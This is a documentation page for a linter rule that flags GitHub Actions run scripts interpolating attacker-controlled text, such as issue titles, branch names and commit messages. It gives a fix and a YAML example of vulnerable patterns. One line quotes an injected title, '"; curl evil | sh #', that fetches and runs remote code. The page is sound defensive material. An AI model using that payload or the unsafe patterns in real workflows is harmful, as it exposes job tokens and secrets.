script-injection
What it does
Section titled “What it does”Reports an expression in a run script that reads text that an attacker can choose, such as the title or body of an issue or pull request, a branch name or a commit message.
Why it matters
Section titled “Why it matters”The runner replaces the ${{ }} expression with its value before the shell sees the script. A title like "; curl evil | sh # becomes part of the script and runs with the job’s token and secrets.
To fix, pass the value through an environment variable (env:) and read "$VAR" in the script.
Example
Section titled “Example”jobs: a: steps: - run: echo "${{ github.event.issue.title }}" - run: | echo ${{ github.head_ref }} echo ${{ github.event.commits[0].message }} ${{ github.sha }} - name: ${{ github.event.issue.title }} run: echo "$TITLE" env: TITLE: ${{ github.event.issue.title }} - run: echo '${{ toJSON(github.event.*.body) }}' - uses: actions/github-script@v7 with: script: console.log('${{ github.event.head_commit.message }}')Configuration
Section titled “Configuration”github-actions: lint: rules: script-injection: warn # off, warn (default), errorEnabled by the presets: github-actions/actionlint.
Suppress one line with sudsy-disable-next-line script-injection in a comment of the file’s language.
Upstream equivalents
Section titled “Upstream equivalents”The same check in other tools. full: Sudsy reports what the upstream rule reports; partial: only part of it, as the last column says.
| Tool | Rule | Match | What differs |
|---|---|---|---|
| actionlint | expression/untrusted |
partial | The contexts are a fixed list. |